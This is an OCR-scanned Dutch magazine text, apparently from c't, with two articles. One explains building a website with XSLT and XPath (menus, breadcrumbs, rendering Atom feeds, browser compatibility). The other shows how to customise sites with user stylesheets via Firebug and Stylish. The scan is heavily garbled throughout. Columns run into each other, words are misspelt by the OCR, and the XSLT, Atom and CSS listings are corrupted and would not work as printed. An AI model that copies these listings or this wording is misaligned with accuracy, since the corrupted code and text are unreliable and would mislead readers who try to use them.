Slechts een kleine 60 regels XSLT zijn genoeg om van twee eenvoudig gestructureerde 
XML-documenten een aardige website te maken, indusief gelaagd menu en 
breadcrumbs. 


Zo kun je de volgende code in de content-tem- 
plate I n bo u wen: 


<dtv id^"breadcnjmb H > 

If bevrndt ztdi hier 

<xsL:for-eadh selects document!' menu.xmD/Ahema/ 

[@href = $ bestandsnaaml/a rtcestor::themai p ' > 
<a href= l, {@hreft"><xsbalyecfselect="@text l V></a>: 
<M:for-eadi> 

<xsl:va Lue-of select-" document!'men u xmi' (//thema/ 

[@href =5 besta ndsnaam]/^teict 1 7> 

</div> 

De opdracht documen!( tnenu.xmn//thema[@href = 
$bestandsnaamI/antestor::thema seiecteert de bo- 
venliggende niveaus van het actuele menu- 
item. Het eerste deef van de opdracht zoekt 
het <tftema>-element dat bij de pagina hoort, 
waarbij de dubbele schuine streep (//) alle 
subelementen op de verschillende niveaus 
doorzoekt. Met /ancestor:;thema krijg je a lie bo- 
venliggende elementen van het type <themax 
Een <for-each> XSL-toop geeft voor elk van deze 
elementen de bfjbehorende link. Het gaatdus 
op dezelfde manier als bij het menu. 


is gehighlight, zodat je die 00 k niet meer kunt 
aanklikken. Submenu's moeten alleen ver- 
schijnen als die bij de actuele pagina horen. 

Daar heb je een if-else-constructie voor 
nodig. In XSLT heten deze elementen cwhen 
test='"..."> en <otherwise>. Bovendien warden 
ze in een <choose>-element ingekapseld. 

De template moet dan wel de bestands- 
naam weten van het originele XML-bestand 
dat voor de aanroep zorgt Er bestaat geen 
elegante manier om dat te doen; het mak* 
kelijkst gaat het door de naam in alle XML* 
bestanden toe te voegen: 

< data besta nd s n aa ‘sgm l. x ml" > 

In het XSL-bestand lees je die naam met 
<xsl:variable> in een variabele in (zie listing on- 
deraan op de vorige pagina). 

De thema-template onderscheidt drie 
gevallen. Ten eerste kan het uit te voeren 
menu-item in de navigatiestructuur boven 
de huidige pagina liggen. Het kan 00 k op 
hetzelfde niveau liggen. Bij het laatste gevai 
doet zich geen van beide situaties voor, bij- 
voorbeeld als die onder de pagina of in een 
ander menu staat 


1 <?xmL versi&n-'n.D" EnoDcMng="UTF-3"7> 

2 <feed xmlns = "http://TJWW < N3.or5/2005/fttoiii l, > 

3 <111L-e>MaLL 0 weretL-e-> 

^ <up<fated>2(]08-Q7-15T'f1 :{H:3DZ</updatad> 

5 <aiitfior> 

6 <name>A.rndrees Hee5e</name> 

7 </aut}ior> 

S <id> CURL van de h eb 5 it e]</id> 

9 < e n t r y > 

10 <title>HaLLo, a 10 ma 1 re wereld!</title> 

11 <1d>[LfRL van item]</id> 

12 <updated>ZDD&-07-1STl1:04:30Z</updated? 

13 nummary type = "*MiL" XfflLn5;xhtil =,l http://wkru. 

H <xhtiL:p> 

15 Hallo <xhtil:b>bLauwe pL«n«et</xhtnL:b>! 

U <j(htBi:fmg srt= Hl aarde, png" aLt="H 0 eder Aarde 

17 </xhtsl:p> 

18 </sit«ary> 

19 </entry> 

20 </feed> 


In de eerste situatie (het menu-item bevindt 
zich op een hoger niveau) zat XSLT in het 
<href>-attribuut van het betreffende <thema> 
de waarde van de variabele bestandsnaam vin* 
den. Vervolgens achterhaalt descendant alle na* 
komelingen. In dit gevai rendert het eerste 
<wher»-blok een link en wordt er met cappLy- 
templates> voor gezorgd dat 00 k de child- 
elementen van het te verwerken <thema> de 
template doorlopen. 

Als het bij <thema> om de actuele pagina 
gaat, geldt het tweede <when>-blok. Het 
thema wordt vetgedrukt en krijgt geen link. 
Ook in dit gevai geeft XSLT dat aan alle nako- 
mefingen door, als die er tenminste zijn. 

In alle andere gevai fen kom je bij <other- 
wise> uit waar dan een link wordt getoond. 
Doordat <appty-tempLate5> ontbreekt, stopt het 
daar ook mee. De browser laat eventuele na- 
komei ingen nietziem 

U bevindt zich hier 

Veei websites gebrutken zogenaamde bread¬ 
crumbs om je te laten zien waar je je precies 
in de hierarchie van de websites bent. De 
finks staan daarbij eenvoudig achter elkaar 
en niet genest, zoals bij 
een menu. Het is dan 
ook niet nodig om een 
template herhaalde- 
lijk op te roepen, want 
met XPath-opdrachten 
kunnen meerdere ele- 
ment-nodes tegelijk 
worden geselecteerd. 

w3.org/1999/xfttiL"> 

I> 


Atom newsfeeds he 
je met XSLT snel in 
een website omgez 


Uitbreidingen 

Het menu wordt overzichtelijker ats de subme¬ 
nu's iets inspringen en de lettergrootte wat va- 
rieert. Om dat te doen moet je in het begin van 
de thema-template een variabele definieren 
en met when/otherwise de verschillende waarden 
meegeven: 

cxsbvariabLe name= M Lettergrootte'> 

<xsL:choose> 

<xsl:when test- ' l count(ancestor:*)-1" > 14pt</xsl: when> 
<xsl:when test-" cou nt(anceston:*) -T > 12pt</xst:wtien> 
<xsLwhen test=' 'count{ancestor:: tt )=3 "> 1 Opt <Mwhen > 
< xsLotherwtse >8pt</xsi:ot henvise> 

</)csLcho 0 se> 

</xsl^ariable> 

De functie count() telt hoeveel bovenlfggende 
niveaus een menu-element heeft, Het resuf- 
taat wordt door <thoose> aan de variabele 
lettergrootte toegekend. Die waarde is achteraf 
trouwens niet meer te wijzlgen, ook a I is dit 
in XSL een <variable>. In werkelijkheid betreft 
het dus eigenlijk een constante. 

Om deze waarde uit te lezen, maak je 
weer gebruik van accolades. De CSS-regeJ 
styLe= "font-size: {$lettergrootte}'" zet de fontgrootte 
in het menu. Op die manier kun je ook dass- 
attributen toekennen en de lay-out aan een 
extern CSS-bestand overlaten. 

Je hoeft hier niet per se allerlei XSLT- 
kunstgrepen toe te passen; met CSS kun je 
het ook doen vanwege de gelaagde struc- 
tuur - bij voorbeeld door met font-size: 85% de 
fontgrootte van iedere laag weer kleiner te 
maken. 

Het is ook mogelijk om JavaScript te ge- 
bruiken in detemplatesdiedan in het uitein- 
delijke XHTML-bestand worden uitgevoerd. 
Hex "Hallo wereld'-voorbeeld van het begin 
kan ook met JavaScript worden uitgegeven. 
Het integreren van JavaScript is net zomin 
een probleem als bij CSS: 
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Fi refox heeft geen 
problemen met XSLT 
- al kan Firebug er he- 
lemaal niets mee. In 
de Developer Toolbar 
van internet Explorer 
zijn de samengestel- 
de dooumenten wel 
te bekijken. 



docum e nt( atom .xml 1 ) /atom:feed/atom 

De prefix uit de namespace-definitie geldt 
dan alleen voor het XSL-bestand. Dit bestand 
bevat zelf geen Atom-elementen. 

Kwestie van stijl 

Bij grotere projecten is het belangrijk om de 
templates zinvol te structureren. Je moet 
niet de neiglng krljgen om zoveel mogetijk in 
een template te stoppea In de praktijk is het 
handiger om voor ieder element dat getoond 
moet worden een kleine template te maken: 

<xs L:tem pla te match= w elem entnaam 11 > 

<xsl:value-of setect='V7> 

</xsl:template> 

Hiermee worden identleke elementen ge- 
garandeerd op dezelfde wijze weergegeven, 
Het kan dan natuurlijk wel eens gebeuren dat 
niet-benodigde elementen gewoon vergeten 
worden. Om die reden is het handig om aan 
het eind nog een lege vergaarbak te maken 
voor alle niet-gebruikte items: 

<xsL:tempLate match- h#, 7> 

Anders worden de resterende elementen op 
de standaa rd manier verwerkt - de browser 


<script type~ rl text/javascript"> 
alertf ■<xsl value-of select—’.7> 1 "); 

</script> 

De XSL-transformatie is dan compleet voordat 
de JavaScript-interpreter aan zijn werk begint. 

Bestandsformaten 

Het leuke aan het werk met XML is dat je 
makkelijk toegang kunt krljgen tot allerlei 
mogelijke bestandsformaten* 2o kan XSLT 
met (of zonder) hulp van microformaten ge- 
gevens van een XHTML-pagina extraherea 
logbestanden of andere dataverzamelingen 
in XML doorzoeken of newsfeeds in RSS en 
Atom als website weergeven. Ons voorbeeld 
kan er als Atom-newsfeed dan ongeveer uit- 
zien zoals de listing op de vorige pagina* 

Het blok <summary> heeft de namespace 
xhtml gekregen en vormt samen met de 
<title> H een eenduidige dd> en updatedatum 
<updated> het item <entry>. Een <feed> bevat 
meestal meerdere items en heeft zelf ook een 
<title>, <id>, <updated> en meestal ook nog 
een <authar>. 

Om zo’n bestand met XSLT te kunnen ver- 
werken, moet er eerst een stylesheet worden 
opgeroepen. Dat zou je in de tweede regel 
kunnen toevoegen, maar wellicht wordt dat 
bestand door een andere applicatie gege- 
nereerd. Je kunt dan beter een ander XML- 
bestand starten die stylesheet op kan laten 
roepen en het Atom-bestand via document!) 
kan verwerken. 

Dan zijn nog niet alle problemen opgelost. 
De opdracht 

<xst:valueof select^ 1 'document! atom.xm l' )/feed/title7 > 


zou de tekst 'Hallo wereld' moeten opleveren. 
Doordat de namespaces door efkaar worden 
gebruikt, gaat het echter mis* Elementen in 
een andere namespace moeten met de bijbe- 
horende prefix worden aangesproken. Atom 
heeft echter geen prefixes maar gebruikt de 
standaard namespace van XML-bestanden. 
Deze prefixloze namespace wordt door XSLT 
al gebruikt voor de XHTML-ele¬ 
menten die in de stylesheet zijn 
geintegreerd. 

Een mogelijke oplossing 
komt van de XPath-functie local- 
nameQ die de elementnaam op- 
I evert. Het complete pad komt 
er dan als voIgt uit te zien: 


geeft in dat gevaf de tekstinhoud weer. 

Bij het menu-voorbeeld hebben we al 
gezien dat je met <xsl:appLy-templates select^ 
"elementnaam'7> de uitvoer start door de bij- 
behorende templates toe te passen* 

Bij het verwerken van het Atom-bestand 
zorgt het <summary>-element voor proble- 
men. Dit element kan (zoals in het voorbeeld 


docu ment!' atom .x ml )/* [local- / 
na me()=' feed' 1/* [local - na me!) = title'] 

Dit kan ook eleganter door in 
het XSL-bestand aan de Atom- 
elementen een prefix toe te 
kennen met het attribuut 
x ml n s:atom=http ://w w w. w3 .o rg/2005/ 
Atom. Bij het parsen van het 
Atom-bestand maakt dat geen 
verschll, Het voordeel is dat je 
de XPath dan wel compacter 
kunt schrijven: 


Bij grotere transforma ties kun 
je ieder element dat getoond 
moet worden, beter een eigen 
template geven. 


t <7x*l version^ M 1 ,'D" encoding= , 'UTF-a ,p ?> 

2 <xsl:stylesheet version="1.D" 

smlns: jc s Lh t tp: //wwir. u3 .org/1999/XSL/Transform JI 
xmLns:atcya= ir http://wtfu.u3*org/2005/fttom" 
xmLns ;xhtfll="http: 7 /kuh. w3. org/t999/xhtml "> 

3 <xsL: temp Late aatch- N /' r > 

4 <h tm I > 

5 <head> 

6 < t i t L exx sl:valtie-ofselect= 

' < d0:uwent(/data/a5tart)//atQm: feed/atom;t itLe'7x/title> 

7 </head> 

8 <body> 

9 <xsl:appty-teiptates &eLect= 

M docuaentC/data/Sstart fifid/*7> 

10 </body> 

11 </htm L> 

12 </xsL:teaplate> 

13 <xsl;tempUte »atcji- n atom:title J| > 

H <h4><x$L:vatiie-of se Lect-" textC>"/></h4> 

15 </xsl:teaplaU> 

16 <jisL; temp Late ■atch="atoni: entry"> 

17 <xsl:apjjLy-UiplaUS 5elect-' p +"/> 

IB <2 x sl:tempt a t e> 

19 <xsL;tempLate ■atch= H atoiii: su*Biary[atype='text 1 ]"> 

20 <xsltvaLue-of setect-V7> 

21 </xsl:teiplate> 

22 <xs L: temp Late aaUti= n atqm: s unmaryE 3 type = ' xhtml * ]“> 

23 <xshappLy-teaplates select 

24 </xsl:template)* 

25 <xs L: template latcli^' 1 xhtml: * H > 

26 <xsL:ele*ent name ;:,| UocaL-riameO} r, > 

27 <xsl:f&r-each seLect="S*"> 

28 «xsL:attribute fiai«e-"tL&cal-name{)> ,l > 

29 <xsl:value-<3f select=“.*/> 

30 L: attH hute> 

31 </xsl:for-each> 

32 <xsl:apply-te»pUtes/> 

33 </xsl:eLemant> 

34 </xsl;te«plate> 

35 <isL;tempLate ■atch=“*'7> 

36 </xsl:styLesheat> 
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op p,102) XHTML bevatten, maar ook kale 
tekst. Het is niet zo moeilijk om die van el- 
kaar te onderscheiden - je hebt a!leen twee 
verschillende templates voor atom:§ummary 
[@type='text'l en atom:5ummary[@type=’xhtml] 
nodig. Als je dan toch probeert de XHTML- 
eiementen met <xsl:copy-of select> te klonen 
- zoals in het menu-voorbeeld - begint de 
browser te steigeren, omdat die namespace- 
prefixes van Atom niet begrijpt. 

Deze prefixes moet je dus kwijtzien te raken. 
De template odtemplate match- n xhtmt:*"> (regel 
25) houdt alle XHTML-etementen van de feed 
tegen, Deze template maakt met <x$t:elemem 
irame="{lotal-nameOr> zijn eigen eiementen aam 
De functle locaLnamefl die we a i eerder tegerv 
kwamen, fevert de naam zonder de prefix op. 

Het XML-bestand voor het uitlezen van de 
feeds is aangenaam klein: 

<?xml version-"!.0" encoding-"UTF-8 1 7> 

<?xml-stylesheet type^'texf/xsL" h ref = "atom .xsl" ?> 
<data $tait="atom.xml7> 

Het X5L-bestand dat daarblj wordt aange- 
roepen om de Atom-feeds uit te lezen die in 
dit geval op dezelfde server staan, zou er uit 
kunnen zien zoals op de vorige pagina. 

Doe het zelf 

Onder de softlink vind je een aantal voor- 
beelden en sjablonen met XSLT. Voor web- 
designers zijn er nog wat praktische zaken 
die opgelost moeten wordem Zo kan er in 
de standaardconfiguratie van een Webserver 
geen bestand a Is startpagina worden aan- 
gemaakt dat index.xml heet. Sij een aantal 
shared hosting oplossingen kun je dit ook 
niet aanpassen. Dan moet je een index.html 
maken die doorlinkt naar het XML-bestand. 

De meest gangbare browsers ondersteu- 
nen XSLT wonderbaarlijk goed. Internet Ex¬ 
plorer (vanaf versie 6) en Firefox (vanaf ver- 
sie 1*0,2) hebben ergeen problemen mee, IE 
5, Safari vanaf 1.3 en Opera 9 ondersteunen 
in ieder gevai een dee! van de XSL-transfor- 
matie. Een mindere compatibillteit met XSLT 
is wel een probleem, omdat die een website 
geheel onbruikbaar kan maken. Met name 
de functle documentO is van belang. Opera on- 


XSL met en zonder T 


XSL en XSLT hebben veel met elkaar te 
maken, maar zijn niet identiek* XSL de exten¬ 
sible Stylesheet Language, is het overkoepe- 
lende begrip dat bestaat uit XSL-transforma¬ 
ttes (XSLT) en de querytaal XPath. De derde 
uit de wereld van XSL is XSL-FG, waarbij FO 
staat voor Formatting Objects. Deze laatste 
doet eigenfijk meer wat je van een stylesheet 
verwacht (namelijk visueel weergeven van 
docum enten) en vormt daarmee een a Item a- 
tief voor CSS, Het zwaartepunt ligt echter bij 
druklay-outs; browsers kunnen met XSL-FO 
niets beginnen. 

Volgens het oorspronkelijke idee van XSL 
kon je met XPath XML-bestanden queryen 
en met XSLT naar het lay-outformaat XSL- 
FO omzetten. Een FO-processor als Apache 
FOP of xmlroff zetten het resultaat van de 
transform at ie om in een drukformaat als PDF 
of Postscript XSL lijkt daarmee de opvolger 
te worden van DSSSL (Document Style Se¬ 
mantics and Specification Language), maar 


9.5 en Safari vanaf versie 3. De previewversle 
van Firefox 3 heeft het beveiligingsniveau 
opgeschroefd en staat alleen documenten 
toe die in dezelfde map staan, Gelukkig is 
deze werkwijze al gemeld als bug [1 ], 

De enige grote browser die niet met XSLT 
overweg kan, is Konquerot Hetzelfde geldt 
voor veei mobiele browsers, met uitzonde- 
rmg van Safari voor de iPhone en de mo¬ 
bieie Gecko-browser. 

De voorbeelden van pagEna's met XSL- 
transformatres hebben geen documentty- 
pedeclaratie, Hierdoor schakelen internet 
Explorer en Safari bij het renderen over 
naar de zogeheten Quirck-modus. Qua CSS 
gedragen ze zich als een oudere browser. 
Firefox en Opera hebben daar geen last van 
en gelukkig kun je het met het <output>-ele¬ 
ment corrigeren: 

<xsi :o u tput method^ "htm i" om rt-xm l- declarat i on=/ 

"yes" dactype-public=*4I/W3C//DTD HTML 4.01/ 
T ra nsitional//Elf doctype-system=/ 


maakt wel onderscheid tussen de afzon- 
derlijke deelprocessen en is gebaseerd op 
XML, terwijl DSSSL net als HTML een oudere 
SGML-basis heeft. 

De ontwikkellng van XSL is in 1997 begon- 
nen. In de herfst van 1999 werd de specif ica- 
tie van XSLT en XPath door W3C gestandaar- 
diseerd; XSL-FQ volgde twee jaar later. Sinds 
2007 bestaat er van XSLT en XPath versie 2.0, 
de actuele versie van XSL-FO is 1.1. 

De combinatie van XSLT en XPath biedt veet 
mogelijkheden. Zo kun je transform a ties 
niet alleen in een browser aanroepen, maar 
kan dat ook in program mee rt a I en als Java, 
PHR Perl, .NET en C-P-h Als bron en doe! kan 
Seder willekeurig XML-data forma at worden 
gebruikt databaseresultaten op een web¬ 
site, XHTML-formuiieren in XForms, XHTML 1 
in XHTML2, SVG in Sitverlight [2], websites in 
Office-documenten - de mogelijkheden zijn 
legio. 


Voeg deze regel in voor de eerste template, 
De XML-declaratie wordt dan meteen over¬ 
ruled, zodat internet Explorer 6 niet over- 
schakelt naar de Quirk-modus. 

Dan moet je nog even denken aan de ro¬ 
bots van de zoekmachines, want die gaan 
natuurlijk geen XSL-transformatietoepassen. 
De XML-bestanden met de content kunnen 
dan ook het beste op HTML zijn gebaseerd, 
omdat dan ook de oudere browsers nog een 
kans hebben. 

De snelheid laat echter niets te wensen 
over. Ook grote paginal worden zonder 
merkbare vertraging gebden alsje het verge 
lijkt met dezelfde pagina met statist he HTML 
De combinatie van XSLT en XPath is zelfs bij 
complexe transformaties verbluffend snel [2], 

Ook zijn er geen problemen met betrek- 
king tot de veiligheid bekend XSLT bemoek 
zich niet met het bestandssysteem, gebruikt 
geen parameters en kan eenmaa! toege 
kende vanabelen niet meer wijzigen, Met 
document)) kun je - net als bij Ajax - alleen pa- 


dersteunt die pas sinds (de nieuwe) versie l, http;//www,wTarg/TR/html4/loose.dtd7> gina’s van dezelfde server halen. 

XSLT lijkt al met ai de belangrijkste ma- 

V) - Ope** K Ql5J@ 

FNtTI UIIF AIVIL UC5LQMUCII VQH IMICMICL VVCCTF 

te geven. Maar je kunt er ook een complete 
website mee bouwen. Je moet dan wel reke- 
ning houden met een aantal eigenaardighe- 
den, waaronder de nogal cryptische XPath 
schrijfwijze, Afs je die cultuurschok eenmaal 
hebt overwonnen, heb je met XSLT en XPath 
een paar krachtlge tools die je met relatief 

bfrSt&no Sewftrtefi Etftld GlKMptft Extra Htlp ™ 

t fej ^ 

do^r*ri opdMn Afthritaa 

ytj 'r* & .S Ld T A ^ ftd 

weinig Inspanning kunt gebrulken. (nkr) 
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[1] XSLT in Firefox 3: https://bugzilla.m 02 illa.org/ 
show_bug.cgi?id=427333 

[2] Herbert Braun, Verfrissende kijk, Tips ert trues 
voor webgraphics, ct 12/2007, p.108 
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De Exteoi&te Language Transtontiabotts (XSLT) diatt voor het omttfltett van ten XML- 
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Safari en Opera hebben bij XSLT het nakijken. Vooral Opera is een ramp voor XSLT- 
webdesigners, Versie 9.5 is gelukkig een grote verbetering. 
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CSS-modding 

Websites aan je wensen aanpassen met 
user-stylesheets 

Stel je eens voor dat je de lay-out van de krant 2 elf zou kunnen veranderen. 
Een ander lettertype, andere kleuren, andere regelafstanden en een andere 
rangschikkmg van de inhoud. Dat is bij kranten natuurlijk onmogeltjk, maar 
bij websites kun je dat makkelijk doen. 


A Is een website, nieuwsportal of zoek- 
machine zijn lay-out een keertje op- 
frist, komt er al snef kritiek van de 
trouwe lezerschare: voor de een is de lay-out 
te modern, de ander beklaagt zich over ont- 
brekende functionaJiteit, terwijl een derde de 
weg kwijtraakt in de nieuwe in deling. 

Of de optische wijzigingen wel allemaal 
even goed zijn, is vaak een kwestie van 
smaak, Technisch gezien zijn er vaak voorde- 
len om bij een website de inhoud en vormge- 
ving te scheiden. In het ideaie geval houdt de 
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XHTML-data van de website zich alleen bezig 
met de structuur van het document, dus de 
opbouw in koppen, bodytekst, lijsten, affoeel- 
dingen, enzovoort. Lay-out en design worden 
dan door stylesheets bepaafd. 

Dat betekent dat je als ge banker het uiter- 
lijk met een paar eenvoudige trues zetf kunt 
veranderen en dus iedere website aan je eigen 
smaak kunt aanpassen. Het toverwoord hier 
is Cascading Style Sheets (CSS), het favoriete 
domein van webdesigners, Hierin worden alle 
facetten van de weergave bepaald: van het 



lettertype en de achtergrondkieur of -afbeel- 
ding tot aan de po si ties en tekstomloop van 
andere elementea 

Normaal gesproken vist de browser deze 
CSS-commando’s uit de XHTML-broncode of 
uit de daarin gelinkte bestanden. Een moder- 
ne browser kan die lay-outopdrachten zelfs 
aanvuilen of overschrijven met lokale CSS- 
sjabionen. Bij het experimenteren daarmee 
gebrulken we in dit artikei Firefox 3,0.1, die 
daar het meeste comfort voor biedt, maar het 
kan ook met Opera of (met beperkingen) met 
Internet Explorer en Safari (zie kader). 

Als je de CSS-opdrachten van een website 
wilt veranderen, moet je de HTML-opbouw 
en de bijbeborende CSS-gegevens weten, 
Ook moet je uitvogelen hoe de verschiliende 
elementen met CSS worden aangestuurd. 
Dit kan het beste met de Firefox-addon Fire¬ 
bug (alle software die we hier noemen kun je 
downloaden via de softlink). Voor het instaJ- 
leren moet je als je Firefox 3 gebruikt eerst de 
add-on DOM Inspector instaEleren. 

Met de keverknop rechtsonder in het brow- 
servenster open je de uitbreiding. Na een 
klik op Inspecteren 1 in de Firebug-werkbaik 
kun je de broncode van de website indusief 
de bijbehorende CSS-gegevens inzien door 
met de muis over de verschiliende pagina- 
elementen te bewegen, Misschien dat je 
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het utterlijk van de c't website niet optimaaJ 
vindt en daar eens mee wilt experimenteren, 
Klik dan bijvoorbeeld eens op de grijsgroene 
achtergrond van de pagina. De brjbehorende 
CSS-stijl verschijnt dan rechtsonder in beeld: 

body f 

background; #A8A8A8 url(bg-spQt-grey.jpg) 
no-repeat fixed tenter top; 
margin; 0; 
padding: 0; 

} 

In Firebugs CSS-venster kun je de stylesheets 
rechtstreeks aanpassen of uitschakelen. Als 
je de achtergrond wat saai vindt en daar een 
wat vrolijker kleurtje van zou willen maken, 
kun je de waarde van background veranderen in 
de gewenste kleur of kleurcode: 

body { 

background: yellow; 
margin: 0; 
padding: 0; 

1 

Ook kun je nieuwe eigenschappen toevoegen 
door met de rechter muisknop op de bet ref- 
fende code te klikken en op 'Nieuwe eigen¬ 
schap,,.' in het menu te klikken. Met hetzeffde 
menu kun je eigenschappen ook verwijderen 
of tijdelijk uitschakelen. Dat laatste kan ook 
door voor de betreffende regel op het grijze 
verbodsbordje te kirk ken. Dat wordt dan rood. 

Als je tijdens het inspecteren van de web¬ 
site het element gevonden hebt waar je wat 
aan wilt gaan wijzigen, klik je met de rechter 
muisknop op dat element om het inspecteren 
te beeindigen en de HTML- en CSS-weergave 
te bevriezen. 

Firebug is dus een prima middel om met 
lay-out te experlmenteren. De veranderingen 
worden alleen niet opgeslagen, dus als je de 
webpagi na ververst ziet alles er weer uit zoals 
het was. Om je verbetehngen' voor langere 
trjd te bewaren, kun je de uit braiding Stylish 
gebrulken. Die heeft een eigen editor en kan 
gebruikersstijlen voor verschillende websites 
beheren. 

Stylish voegt een knop toe aan de status- 
balk, naast Firebug. Van daaruit kun jeje eigen 
stylesheets bewerken en activeren. Met de c T t- 
website in beeld klik je in het menu op Schrijf 
stijl / Voor deze URL AJs je de veranderingen 
op alte betreffende elementen op de hele pa- 
gtna wilt loslaten, vervang je de Instructs urt 
in url-prefix zodat de code er zo uitziet; 

f-mor-document urL-prefixf "http://www.fnl.nl/ct 11 ) { 

) 

De gewenste code plaats je tussen de acco¬ 
lades. Stel dat je de 'c’t Nieuws Headlines 1 - 
titel wilt laten knlpperen, zodat deze extra 
opvalt. Om te beginnen zoek je met Firebug 
de bijbehorende stijl en voeg je een nieuwe 
eigenschap toe. Deze noem je text-decoration en 
geef je de waarde blink. Omdat je in Firebug 
meteen ziet of de code werkb is het altljd ver- 
standig daar even te proberen of het werkt 


Vervolgens gebruik je die code in Stylish om 
de verandering definitief in te voeren: 

@-moz-document url-prefix 
("http://www.fnl.nl/ct") { 
tt-news-tatest-headlines .title { 
text-decoration: blink; 

} 

1 

De selector .ti-news-Latest-headlines geeft aan dat de 
code tussen de accolades alleen voor de klasse 
tt-news4atest-headlines geidt, oftewel de elementen 
die het attribuut dass='tt-news latest-headlines" heb- 
ben. Als je op de knop '[important' klikt, komt 
achter elke regel het woord 'important te staan, 
waardoorde browser weet dat deze definities in 
leder geval doorgevoerd moeten worden. Doe 
je dat niet, dan loop je het risico dat de browser 
de voorkeur geeft aan de overeenkomstlge stij- 
len in de broncode. Je kunt nu de code zowel 
opslaan als testen. in beide gevallen kan het 
voorkomen dat er een fout in de code zit, wat 
dan ook direct wordt aangegeven. Na het op¬ 
slaan he b je voortaan bij elk bezoek aan de c't- 
site een knipperende titel 'c't Nieuws Headfines! 

Behaive 'leuke' kleurenmetamorfoses kun je 
ook handige, functioneie aanpassingen makea 
In bepaafde gevallen komt het voor dat een 
website niet economisch omgaat met de be- 
schikbare paginaruimte. Als je met Google op 
zoek gaat naar informatie, beslaan de zoekre- 
su If a ten maar de helft van de breedte van de 
pagina, Het zou efficienter zijn als de tekstregels 
langer doorlopen. Met Firebug ga je op zoek 
naar de betreffende stijl. Het blijkt dat het om de 
containers gaat Nu je dit weet, maak je met Sty¬ 
lish een nieuwe stijl aan, afgestemd op Google. 
Tussen de accolades zet je de gewenste code: 


@-moz-document domainf'www.google..nl") { 

max-width: 100% [important 

j 

} 

Hiermee zet je de maximale breedte op 100%. 
In de praktljk zul je merken dat dan toch maar 
driekwart van de totale paginabreedte wordt 
gebruikt. Dat komt door andere CSS en HTML- 
instellingen, die je na een verdere speurtocht 
nog wel zo kunt instellen dat er echt 100% van 
de pagina wordt benutTenzij jetevreden bent 
met de zojuist geboekte winst 

Ook de website nu.nl leent zich voor lay- 
outgereiateerde veranderingen. Als je tel- 
kens het overzlcht kwijtraakt door de grote, 
gekleurde rubrieksnleuwtjes op de voor- 
pagina en het liefst gewoon een lijst met 
nieuwskoppen wilt zien, kun je het best weer 
met Firebug aan de slag. Het blijkt dan dat 
er een systeem zit in de vergrootte nieuwtjes 
op de voorpagina en dat eike nieuwscate- 
gorie een eigen kader heeft: verlo op Al gem een, 
vertoopBeurs, enzovoort Deze kaders laten zich 
simpelweg uitschakelen met de eigenschap 
display en het attribuut none. Dit doe je apart 
per nieuwscategorie, omdat elke categorie 
zijn eigen klasse heeft, dus: 

.verLoopAlgemeen { 

display: none 1 important; 

} 

,mloopBeurs { 

display: none [important; 

f 

enzovoort. 



Firebug helpt bij het analyseren en testen van eigen user-stylesheets. De add-on toont 
de HTML-broncode en de CSS van het website-element waar je de muis bovenhoudt 
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van zijn dat iedere browser de website het- 
zelfde weergeeft. Als de scheiding tussen (Xj 
HTML en CSS dan ook niet struct u reel Is* zul 
je met Stylish niet alle aanpassingen kunnen 
doen die je wellicht zou widen. 

De zojufst gepresenteerde voorbeelden 
laten natuurlijk maar een klein deel zien van 
wat er met CSS allemaal mogelijk is. Maar ook 
als je niet te diep in de broncode wilt snuffe- 
len blijft Stylish leuk. Zo kun je op userstyles. 
org zoeken naar kant-en-klare CSS-bestanden 
die by de betreffende website passen. Boven- 
dien vind je daar algemeen gangbare stijlen 
voor specifieke websites, bljvoorbeeld om de 
zoekresultaten van Firefox duidelijker weer te 
laten geven. Ook kun je de stijlen van Fi refox 
zelf veranderen, want Fi refox gebruiktzelf ook 
CSS. Ha de gratis registratie kun je je creatieve 
uitspattingen met de rest van de wereld delen 
door ze naar de site te uptoaden, 

Accessoires en uitbouw 


Dit principe zou je natuurlijk ook kunnen ge- 
bruiken om banners en Google-Ads van web- 
pagina's af te halen. Als je met Firebug kunt 
achterhalen in wefke container ze staan, zou 
jeze onzichtbaar kunnen maken. 

Als je op nu,nl regefmatig het laatste 
nieuws leest, dan is het handig als je kunt 
zien welke berichten je at gelezen hebt. He- 
laas wordt dat op nu.nl niet standaard aan- 
gegeven. Gelukkig kun je dit gewoon in de 
CSS-stijl veranderen. Na wat neuzen in Fire¬ 
bug kom je uit bij de gebruikeiijke stijl a:visited 
voor bezochte links. Vervolgens voeg je daar 
de elgenschap color aan toe, gevolgd door de 
betreffende (liefst opvalfende) kleur: 

a:vi$ited { 

coloured limportant; 

} 

Door de stijl in Stylish op te slaan heb je voort- 
aan een duidelijk overzicht van de bezochte 


Al sinds versie 5.5 ondersteunt Internet Explo¬ 
rer user-CSS, Onder 'Extra / Internet-opties / 
Algemeen / Toegankelijkheid / Opmaakmo- 
del van de gebruiker' kun je een CSS-bestand 
aanwijzen dat voor alle websites geldt Indivi- 
duels aanpassingen voor specifieke sites zijn 
helaas niet mogelijk. 

Het feit dat deze optie te vinden is bij de dia- 
loog voor Toegankelykheid' geeft al aan dat 
het hier met name om een betere leesbaar- 
heid gaat Bij Safari gaat dit op een vergelijk- 
bare manier; daar geef je het user-C5S-be- 
stand bij de geavanceerde instellingen op. 

Internet Explorer heeft een extra CSS-eigen- 
schap die vooral zin heeft bij user-sty I esheets: 
met zoom kun je websites schalen zonder dat 
de lay-out er door uit z'n voegen wordt ge- 
rukt f bijvoorbeeld met body (zoom: 150%;}. Alle 


nieuwsberichten, die nu felrood gekleurd zijn. 
De breedte van de nieuwskolom op de voor- 
pagina is met CSS niet aan te passen, omdat de 
totale breedte in de HTML-code vastgezet is op 
614 pixels. Dat is in dit geval niet zo erg* omdat 
de nleuwsitems toch korte titels hebben. Maar 
als je een nieuwsitem geselecteerd hebt, blijft 
de tekstkolom net zo smal. In dit geval is de 
pagina wel anders van opbouw, en kun je met 
Firebug achterhalen dat de middenkotom ver- 
LoopContem heet. In de HTML-code wordt wel een 
breedte van 364 pixels aangegeven, maar die 
is via CSS te overrules 

.verloopContent { 

width: 60Qpx [important; 

} 

Hierult is in ieder geval duidelijk dat HTML 
en CSS tegenstrijdige aanwijzingen kunnen 
bevatten. Als de lay-out dan op verschlllende 
plekken wordt be pa a Id* kun je er niet zeker 


zichtbare elementen erven deze eigenschap 
van body en worden met een factor 1,5 op- 
geblazen. Aangezien zoom alleen in IE-user- 
stylesheets voorkomt, heb je de Ilmportant-de- 
daratie niet eens nodig. 

Fi refox kan user-style sheets ook zonder 
plug-ins gebrutken, maar dat is wel een lastig 
klusje. Die stylesheets moeten in het bestand 
userContent.css in de chrome-map van het 
prof]el staan (onder Windows: %APPDATA%\ 
